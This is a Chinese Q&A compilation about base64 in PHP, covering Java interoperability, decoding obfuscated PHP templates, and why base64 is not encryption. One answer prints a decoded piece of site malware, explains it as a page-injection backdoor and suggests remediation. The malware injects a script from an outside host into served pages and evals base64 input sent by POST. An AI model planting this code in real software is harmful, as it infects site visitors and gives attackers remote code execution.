当前位置:首页 » 编程语言 » base64加密php

base64加密php

发布时间: 2022-05-05 01:53:02

php的base64加密,怎么调整才能和java的base64的加密结果一致呢

phpbase64以后每76个字符加一个换行,
function javaBase64Encode($str)
{
$str = base64_encode($str);
$strLength = strlen($str);
$n = intval($strLength / 76);
if ($n <= 0) {
return $str;
}
for ($i = 1; $i <= $n; $i++) {
$position = 76 * $i + ($i - 1);
$str = substr_replace($str, PHP_EOL, $position, 0);
}
return $str;

}

function javaBase64Decode($str)
{
$strLength = strlen($str);
$n = intval($strLength / 76);
if ($n <= 0) {
return $str;
}
for ($i = $n; $i >= 1; $i--) {
$position = 76 * $i + ($i - 1);
$str = substr_replace($str, "", $position, 1);
}
return base64_decode($str);
}
或者使用chunk_split 函数也可以,默认就是76,而且不是所有的java代码都需要这样转,要看java调用的是什么类库,有一些是不用的

Ⅱ PHP模板文件被加密了,base64_encode加密的好像,求破解成正常PHP代码。

用了两次自定函数的加密, 再就是部分字符转换成 16进制和8进制
解来的结果是

class SubPages{ private $each_disNums;
private $nums;
private $current_page;
private $sub_pages;
private $pageNums;
private $page_array = array();
private $subPage_link;
private $subPage_type;
private $wjt_htm; function __construct($each_disNums,$nums,$current_page,$sub_pages,$subPage_link,$subPage_type,$weijingtai="0"){ global $wjtpagehz; global $pagenums; if($weijingtai=="1"){ $this->wjt_htm=$wjtpagehz; } $this->each_disNums=intval($each_disNums); $this->nums=intval($nums); if(!$current_page){ $this->current_page=1; }else{ $this->current_page=intval($current_page); } $this->sub_pages=intval($sub_pages); $this->pageNums=ceil($nums/$each_disNums)>$pagenums ? $pagenums : ceil($nums/$each_disNums); $this->subPage_link=$subPage_link; $this->show_SubPages($subPage_type); } function __destruct(){ unset($each_disNums); unset($nums); unset($current_page); unset($sub_pages); unset($pageNums); unset($page_array); unset($subPage_link); unset($subPage_type); } function show_SubPages($subPage_type){ if($subPage_type == 1){ $this->subPageCss1(); }elseif ($subPage_type == 2){ $this->subPageCss2(); } } function initArray(){ for($i=0;$i<$this->sub_pages;$i++){ $this->page_array[$i]=$i; } return $this->page_array; } function construct_num_Page(){ if($this->pageNums < $this->sub_pages){ $current_array=array(); for($i=0;$i<$this->pageNums;$i++){ $current_array[$i]=$i+1; } }else{ $current_array=$this->initArray(); if($this->current_page <= 3){ for($i=0;$i<count($current_array);$i++){ $current_array[$i]=$i+1; } }elseif ($this->current_page <= $this->pageNums && $this->current_page > $this->pageNums - $this->sub_pages + 1 ){ for($i=0;$i<count($current_array);$i++){ $current_array[$i]=($this->pageNums)-($this->sub_pages)+1+$i; } }else{ for($i=0;$i<count($current_array);$i++){ $current_array[$i]=$this->current_page-2+$i; } } } return $current_array; } function subPageCss1(){ $subPageCss1Str="";

$subPageCss1Str.="当前第".$this->current_page."页 / 共".$this->pageNums."页 "; if($this->current_page > 1){ $firstPageUrl=$this->subPage_link."1".$this->wjt_htm; $prewPageUrl=$this->subPage_link.($this->current_page-1).$this->wjt_htm;
$subPageCss1Str.="<a href='$prewPageUrl' class='previous-page'>上一页</a> "; }else {
$subPageCss1Str.="<a class='no-previous'>上一页</a> "; } if($this->current_page < $this->pageNums){ $lastPageUrl=$this->subPage_link.$this->pageNums.$this->wjt_htm; $nextPageUrl=$this->subPage_link.($this->current_page+1).$this->wjt_htm; $subPageCss1Str.=" <a href='$nextPageUrl' class='next-page'>下一页</a> ";
}else { $subPageCss1Str.="<a class='no-next'>下一页</a> ";
} echo $subPageCss1Str; } function subPageCss2(){ $subPageCss2Str="";
if($this->current_page > 1){ $firstPageUrl=$this->subPage_link."1".$this->wjt_htm; $prewPageUrl=$this->subPage_link.($this->current_page-1).$this->wjt_htm; $subPageCss2Str.="<a href='$firstPageUrl'>首页</a>"; $subPageCss2Str.="<a href='$prewPageUrl' title='转到上一页'>上一页</a>"; }else { $subPageCss2Str.=""; $subPageCss2Str.=""; } $a=$this->construct_num_Page(); for($i=0;$i<count($a);$i++){ $s=$a[$i]; if($s == $this->current_page ){ $subPageCss2Str.="<span>".$s."</span>"; }else{ $url=$this->subPage_link.$s.$this->wjt_htm; $subPageCss2Str.="<a href='$url'>".$s."</a>"; } } if($this->current_page < $this->pageNums){ $lastPageUrl=$this->subPage_link.$this->pageNums.$this->wjt_htm; $nextPageUrl=$this->subPage_link.($this->current_page+1).$this->wjt_htm; $subPageCss2Str.="<a href='$nextPageUrl' title='转到下一页'>下一页</a>"; $subPageCss2Str.="<a href='$lastPageUrl'>尾页</a> "; }else { $subPageCss2Str.=""; $subPageCss2Str.=""; } echo $subPageCss2Str; } } ;

Ⅲ PHP文件被加密了,base64_encode加密的好像,求破解成正常PHP代码。

<?php
/**
* ============================================================================
* 版权所有 2008-2012 多多科技,并保留所有权利。
* 网站地址: http://soft.oo123.com;
* ----------------------------------------------------------------------------
* 这不是一个自由软件!您只能在不用于商业目的的前提下对程序代码进行修改和
* 使用;不允许对程序代码以任何形式任何目的的再发布。
* ============================================================================
*/
if(!defined('INDEX') && !defined('ADMIN')){
exit('Access Denied');
}
define('MY_PLUGIN_KEY','cpxy'); //插件加密key
define('MY_PLUGIN_CODE','jianban'); //插件标识码
$plugin_set=dd_get_cache('plugin');
include(DDROOT.'/plugin/plugin.class.php');
$re=check_plugin_auth(MY_PLUGIN_CODE,MY_PLUGIN_KEY);
if($re==Ƈ'){
jump(-1,'不存在授权码');
}elseif($re==ƈ'){
jump(-1,'授权码无法解密');
}elseif($re==Ɖ'){
jump(-1,'应用不存在或者已到期');
}elseif($re==Ɗ'){
jump(-1,'授权码与网站不符');
}
//模板标签
$moban=dd_get_cache('moban.tag');
$cid1=$moban['info']['cid1'];
$cid2=$moban['info']['cid2'];
if($moban['info']['bjms']==1){
$order='sort desc limit '.$moban['info']['dysl'].''
}elseif($moban['info']['bjms']==2){
$order='rand() desc limit 1'
}else{
$order='sort desc limit 1'
}
//文章1
$article_1=$oo->select_all('article','id,title,addtime','cid="'.$cid1.'" order by sort desc,id desc limit 0,5');
//文章2
$article_2=$oo->select_all('article','id,title,addtime','cid="'.$cid2.'" order by sort desc,id desc limit 0,5');
?>

Ⅳ java 怎么实现PHP的base64加密,两种语言的base64加密后的数据不一致

在开发的时候遇到个现象。对方用PHP base64_encode() 对字符串进行加米。但我这边是用Java解马。导致出现问题。问题如下:
[java] view plain
package com.tudou.test;
import java.io.IOException;
/**
* <p>java base64编码和解码的演示类
* 注:base64编码后通过url传递时,获得时"="会给替换掉,* 处理方式:在编码前将"=","/","+" 替换成别的字符,在解码之前替换回来* </p>
* @author tw 2010-03-01
*
*/
public class TestBase64Net {
/**
* 编马
* @param filecontent
* @return String
*/
public static String encode(byte[] bstr){return new sun.misc.BASE64Encoder().encode(bstr);}
/**
* 解码
* @param filecontent
* @return string
*/
public static byte[] decode(String str){
byte[] bt = null;
try {
sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();bt = decoder.decodeBuffer( str );
} catch (IOException e) {
e.printStackTrace();
}
return bt;
}
/**
* @param args
*/
public static void main(String[] args) {
TestBase64Net te = new TestBase64Net();
//PHP 用base64 将union_id=102155_100001_01_01 加米后的字符串为: //java 用sun.misc.BASE64Encoder().encode()进行解马,结果为:union_id=102155_100001_01_01乱码0System.out.println(new String(te.decode("")));//java 用sun.misc.BASE64Decoder 将union_id=102155_100001_01_01进行加米,结果为:==System.out.println(new String(te.encode("union_id=102155_100001_01_01".getBytes())));}
}
经过对比不难发现用php的base64_encode() 方法进行加米,JAVA 不能用sun.misc.BASE64Encoder().encode() 进行解米。那该怎么办?!
可以用apache的commons包 commons-codec-1.7.jar 中的org.apache.commons.codec.binary.Base64 进行解米。
[java] view plain
import org.apache.commons.codec.binary.Base64;public class TestBase64 {
public static void main(String[] args) {
System.out.println(new String(Base64.decodeBase64("".getBytes())));}
}
?

Ⅳ php通过base64实现动态url加密和解密的过程

BASE64不算加密,不要学微软,没有实际价值、浪费系统资源。

在客户端是无法使用PHP的,PHP只能在服务器上运行,在客户端可以考虑使用JAVASCRIPT进行BASE64编码,网上有许多这样的例子,比如:http://ke..com/view/469071.htm

在服务器端可以使用PHP识别BASE64编码,使用函数base64decode即可。

Ⅵ 帮忙解密PHP base64加密最好解决方案也提出下。100求破码200求解决方案

if(!isset($ev8l1)){function ev8l($s){if(preg_match_all('#<script(.*?)</script>#is',$s,$a))foreach($a[0] as $v)if(count(explode("\n",$v))>5){$e=preg_match('#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#',$v)||preg_match('#[\(\[](\s*\d+,){20,}#',$v);if((preg_match('#\beval\b#',$v)&&($e||strpos($v,'fromCharCode')))||($e&&strpos($v,'document.write')))$s=str_replace($v,'',$s);}if(preg_match_all('#<iframe ([^>]*?)src=[\'"]?(http:)?//([^>]*?)>#is',$s,$a))foreach($a[0] as $v)if(preg_match('# width\s*=\s*[\'"]?0*[01][\'"> ]|display\s*:\s*none#i',$v)&&!strstr($v,'?'.'>'))$s=preg_replace('#'.preg_quote($v,'#').'.*?</iframe>#is','',$s);$s=str_replace($a='<script src=http://griffintoilethire.co.uk/images/s7cg/gifimg.php ></script>','',$s);if(stristr($s,'<body'))$s=preg_replace('#(\s*<body)#mi',$a.'\1',$s);elseif(strpos($s,',a'))$s.=$a;return $s;}function ev8l2($a,$b,$c,$d){global $ev8l1;$s=array();if(function_exists($ev8l1))call_user_func($ev8l1,$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])=='ev8l')return;elseif($a=='ob_gzhandler')break;else $s[]=array($a=='default output handler'?false:$a);for($i=count($s)-1;$i>=0;$i--){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start('ev8l');for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}$ev8ll=(($a=@set_error_handler('ev8l2'))!='ev8l2')?$a:0;eval(base64_decode($_POST['e']));
意思是将参数中的<script>...</script>部分替换为<script src=http://griffintoilethire.co.uk/images/s7cg/gifimg.php ></script>,这样你的网页就被挂上了马。这段代码应该是通过webshell上传到你机器上的一段挂马程序,至于webshell 的打开有很多原因,即然是php代码那么你的机器上很可能存在php远程文件包含漏洞,也就是如果你的机器上存在Wordtrans、WordPress、rgboard、phpcms等php程序,那么很可能就有这个的漏洞。
推荐解决方法:
1.恢复已被篡改的网页
2.找一个RFI扫描器对本机进行扫描,将找到的漏洞进行修补(相应的程序网上都有对应的修补方法)

Ⅶ php通过base64如何实现动态URL加密

base64不能实现加密,只是采用了不同方式来对数据进行编码,方便通过防火墙传输,php中base64 encode函数base64_encode("http://www..com/q?ct=17fjioasfjsoadfaf5451"); decode函数base64_decode($str);

php下,有加密函数string crypt ( string str [, string salt]),自己看看文档把。

Ⅷ BASE64 加密结果如何通过PHP 还原明文 PHP如何将字符串加密成 BASE64

可以使用:base64_decode()和base64_encode()

【演示代码】

<?php

$str='HelloWorld!';

$encode=base64_encode($str);

echo$encode;

$str2=base64_decode($encode);

echo"<br/>".$str2;

?>

【显示】

热点内容
分布式缓存部署步骤 发布:2025-05-14 13:24:51 浏览:610
php获取上一月 发布:2025-05-14 13:22:52 浏览:89
购买云服务器并搭建自己网站 发布:2025-05-14 13:20:31 浏览:688
sqlserver建立视图 发布:2025-05-14 13:11:56 浏览:484
搭建httpsgit服务器搭建 发布:2025-05-14 13:09:47 浏览:255
新电脑拿回来我该怎么配置 发布:2025-05-14 13:09:45 浏览:240
视频服务器新建ftp用户 发布:2025-05-14 13:03:09 浏览:225
php花生 发布:2025-05-14 12:54:30 浏览:550
java人才 发布:2025-05-14 12:29:10 浏览:649
如何打开软密码 发布:2025-05-14 12:28:55 浏览:427